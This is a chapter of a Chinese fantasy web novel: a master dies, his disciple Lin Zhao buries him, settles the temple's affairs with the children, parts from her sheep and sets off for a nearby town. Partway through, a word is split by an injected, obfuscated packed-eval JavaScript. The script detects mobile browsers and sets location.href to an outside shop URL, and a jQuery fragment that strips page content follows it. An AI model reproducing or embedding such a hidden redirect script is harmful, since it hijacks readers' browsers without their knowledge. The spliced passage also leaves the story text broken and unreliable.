老谷头是在第三日清晨走的。
那天林照起得特别早。天还没亮透，东方刚泛起鱼肚白，她就醒了。不是被鸡叫醒，也不是被阿茸吵醒，就是忽然醒了，心里空落落的，像少了什么。
她起身穿衣，先去灶房生火。柴是昨晚劈好的，干透了的松木，一点就着。火光照亮灶台，也照亮她平静的脸。她舀米，淘洗，添水，盖上锅盖。动作很慢，很仔细，像在完成某种仪式。
粥在锅里咕嘟咕嘟冒泡时，林照盛了一碗，又夹了一小碟腌萝卜，端去师父屋里。
推开门，晨光从窗棂斜斜照进来，灰尘在光柱里缓缓飞舞。老谷头躺在床上，盖着那床洗得发白的青布被子，睡得很安详。脸上皱纹舒展，嘴角微微上扬，像在做一场好梦。
林照把粥碗放在床头小几上，轻声说：“师父，该起了。”
没有回应。
她等了一会儿，又说：“今天天晴，正好晒麦子。您不是说想看看今年的新麦晒出来是什么成色吗？”
还是没有回应。
林照在床边坐下，看着师父的脸。老人的呼吸很轻，几乎看不见胸膛起伏。她伸出手，轻轻碰了碰师父的手背——凉的，已经凉透了。
她没有哭。
只是坐在那儿，坐了很长时间。晨光一点点挪移，从床边移到地上，照亮了床底那个旧木匣的轮廓。粥渐渐凉了，表面的米油凝成一层薄薄的膜。
直到门外传来豆苗的声音：“照姐，师父起来了吗？虎哥说今天该翻药田了……”
林照站起身，拉开门。
豆苗站在门口，小脸上还带着睡意。看见林照的表情，他愣住了：“照姐，你……”
“师父走了。”林照说得很平静，“去把大家都叫起来吧。”
豆苗的眼泪瞬间涌出来。他转身就跑，边跑边喊：“师父！师父走了！”
喊声像石子投入平静的池塘，晒谷观顿时乱了。
李虎第一个冲过来，他脸色苍白——伤还没好全，但跑得比谁都快。冲到门口，看见床上安睡的老人，他猛地停住脚步，嘴唇哆嗦着，说不出话。
其他孩子也陆续来了。年纪大些的两个孩子开始抹眼泪，小的几个懵懵懂懂，只知道跟着哭。豆苗扑到床边，抓住师父的手：“师父您醒醒……您还没教我认完药草呢……”
林照站在门边，看着这一切。她没有制止，也没有安慰，只是静静看着。晨光越来越亮，院子里的鸡开始打鸣，阿茸在羊圈里不安地踱步。
等哭声渐渐低下去，林照才开口：“豆苗，去打水。李虎，去库房拿白布。其他人，把院子收拾干净。”
她的声音不大，但很清晰。孩子们都抬起头看她。
“林照……”李虎张了张嘴，想说什么。
“师父昨晚交代过了。”林照说，“一切从简。葬在麦田边，面朝东方，不用棺木，不用陪葬，只裹三层白布，让身子直接贴着土地。”
她顿了顿：“这是他老人家的意思。”
李虎低下头，终究没再说什么。
葬礼很简单。
没有唢呐，没有纸钱，没有孝服。林照和孩子们用竹竿扎了个简易担架，铺上干草，把裹着白布的老谷头抬到麦田边——那里已经挖好了一个浅坑，是林照一早挖的。
坑不深，刚刚够一人平躺。林照跳下去，把坑底整理平整，又撒了一层干麦秸。然后大家小心翼翼地把师父抬进去，摆正，面朝东方——那是太阳升起的方向，也是晒谷观开山祖师当年来的方向。
填土时，豆苗又哭了。他一边哭一边捧土，土从指缝漏下去，洒在师父身上。林照没哭，只是机械地一捧一捧地填土。土很沉，很实在，像这片土地本身。
填平后，林照去后山搬了块青石板，立在坟前当墓碑。她没有刻字——老谷头说过，名字不重要，来过，活过，爱过，就够了。
做完这一切，太阳已经升得很高了。
七个孩子站在坟前，谁都没说话。风吹过麦田，麦浪翻滚，沙沙作响。远处山峦叠翠，近处野菊星星点点。这片土地还在呼吸，还在生长，仿佛什么都没发生过。
“回去吧。”林照说。
回到观里，该做饭的做饭，该喂鸡的喂鸡，该扫院的扫院。日子还得过下去，就像麦子一季一季地长。
午后，林照把所有人都叫到堂屋。
桌上放着那个旧木匣，还有晒谷观的钥匙。七个孩子围坐一圈，神色各异。李虎低着头，手捏着衣角；豆苗眼睛还红肿着；其他几个有的茫然，有的不安。
“师父把晒谷观托付给了我。”林照开口，声音平静，“但我不会一直留在这里。”
李虎猛地抬头：“你要走？”
“嗯。”林照点头，“我想出去看看。看看师父说的云上到底有没有花，看看外面的世界是什么样子。”
“那、那我们怎么办？”一个孩子怯生生地问。
“你们可以选择留下，也可以选择回家。”林照说，“留下的，我会把观里的粮食、药材都安排好，够吃两年。想回家的，每人给十斤米，五斤麦，算是这些年做工的报酬。”
屋里一阵骚动。
李虎第一个站起来：“我留下！”他说得斩钉截铁，“我要守着晒谷观。等、等以后我修为高了……”
“李虎。”林照打断他，“你留下可以，但要答应我一件事。”
“什么事？”
“三年之内，不许再碰《引气诀》。”林照看着他，“好好种地，好好晒谷，好好照顾师弟们。等你的心真的静下来了，再谈修行。”
李虎脸涨得通红，想反驳，但看到林照的眼神，又咽了回去。那眼神很平静，却有种不容置疑的力量。
豆苗拽住林照的衣角：“照姐，我跟你走……”
“你太小。”林照摸摸他的头，“留在观里，好好长大。等我回来，教你认药草。”
“那、那你什么时候回来？”
林照沉默了一会儿：“不知道。也许很快，也许……要很久。”
她打开木匣，把里面的东西一样一样拿出来。那枚干枯的麦穗，她揣进怀里。那半封信和玉牌，她放回匣子，锁好，钥匙交给李虎：“这个你保管。除非万不得已，不要打开。”
李虎接过钥匙，握得很紧。
林照又拿出一个小布袋，里面是这些年攒下的碎银——总共不到五两，是老谷头给人看病换来的。她分出一半给李虎：“这是应急用的。省着点花。”
然后她站起身：“我去收拾东西。你们……都好好想想。”
林照的包袱很简单。
两套换洗衣服——都是粗布缝的，洗得发白，但干净。一双新纳的布鞋，鞋底厚实，适合走远路。一个小陶罐，里面装着晒干的药草：金银花、薄荷、甘草，都是寻常东西，但应急有用。还有那本《晒谷心经》，她用油布仔细包好，贴身放着。
最后，她从墙上取下斗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233466|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笠和蓑衣——下雨用得着。
收拾完，天已近黄昏。
林照在观里走了一圈。灶房的柴火堆得整整齐齐，水缸是满的，药房的药材都晾晒好了，库房的粮食码得规规矩矩。她又去看了看药田，那几株移栽的当归已经扎根，叶子重新舒展开来，在晚风里轻轻摇曳。
最后，她走到羊圈。
阿茸站在圈里，静静地看着她。白羊的伤好了大半，脖子上的伤口结了一层薄痂。它耳朵动了动，像是知道她要走。
林照打开圈门，走进去，抱住阿茸的脖子。白羊温顺地蹭她，喉咙里发出轻轻的咕噜声。
“阿茸，”她轻声说，“我要走了。你好好在这里，等我回来。”
阿茸舔了舔她的手。
她从怀里摸出最后一把苜蓿——早上特意去后山掐的，最嫩的那种。阿茸低头慢慢吃，吃得很斯文，仿佛在品尝什么珍馐美味。
林照又抱了它一会儿，才起身离开。
走出晒谷观时，六个孩子都站在门口。李虎抿着嘴，眼神复杂；豆苗又开始掉眼泪；其他人默默看着她。没有人说话，只有风吹过屋檐的呜呜声。
林照朝他们点点头，转身走上山路。
包袱很轻，脚步也很轻。夕阳把她的影子拉得很长，在黄土路上摇曳。她没有回头——不是不想，是不敢。怕一回头，就再也走不动了。
走出半里地，翻过第一个山坳。
林照停下脚步，终于还是回了头。
晒谷观已经看不见了，只能看见一片麦田，在夕阳下泛着金红色的光。观前那棵老槐树还立着，树梢上停着几只归巢的鸟。
她站了一会儿，继续往前走。
又走了一里，翻过第二个山头。
这次她回头时，看见了一个小小的白点——在晒谷观后山的山崖上，孤零零地立着。她知道那是阿茸。白羊站在崖边，一动不动，像一尊石像。
林照的鼻子有点酸。她挥了挥手，也不知道阿茸能不能看见。
再走，天快黑了。
第三次回头时，山崖上那个白点还在。暮色苍茫，远山如黛，那个小小的白点在渐浓的夜色里，像一颗不肯熄灭的星。
林照站在山路中央，眼泪终于掉下来。
不是号啕大哭，只是静静地流泪。泪水顺着脸颊滑落，滴进脚下的尘土里，很快就干了。她抬手抹了把脸，深吸口气，转过身，继续往前走。
这一次，她没有再回头。
夜色完全笼罩下来时，林照走到了山脚的小镇。
镇子不大，只有一条主街，两旁是些低矮的瓦房。几家客栈门口挂着灯笼，昏黄的光晕在石板路上摇曳。街边有家茶肆还没打烊，说书人的声音隐约传来：
“……那仙人一挥手，便是雷霆万钧！妖魔辟易，山河变色！欲知后事如何，且听下回分解！”
林照站在街口，听着这陌生的声音，看着这陌生的灯火，忽然觉得心里空了一块。
但她摸了摸怀里的那枚麦穗——干枯的，轻飘飘的，却像有千钧重。
她深吸口气，抬脚走进小镇。
夜风从身后吹来，带着山野的气息，带着麦田的清香，带着晒谷观三百年的烟尘。
她一步步向前走，每一步都踏得很实。
就像麦子拔节，就像草叶生长，就像溪水流淌——自然而然地，向前。
路还长。
但师父说过：再走一步，就一步。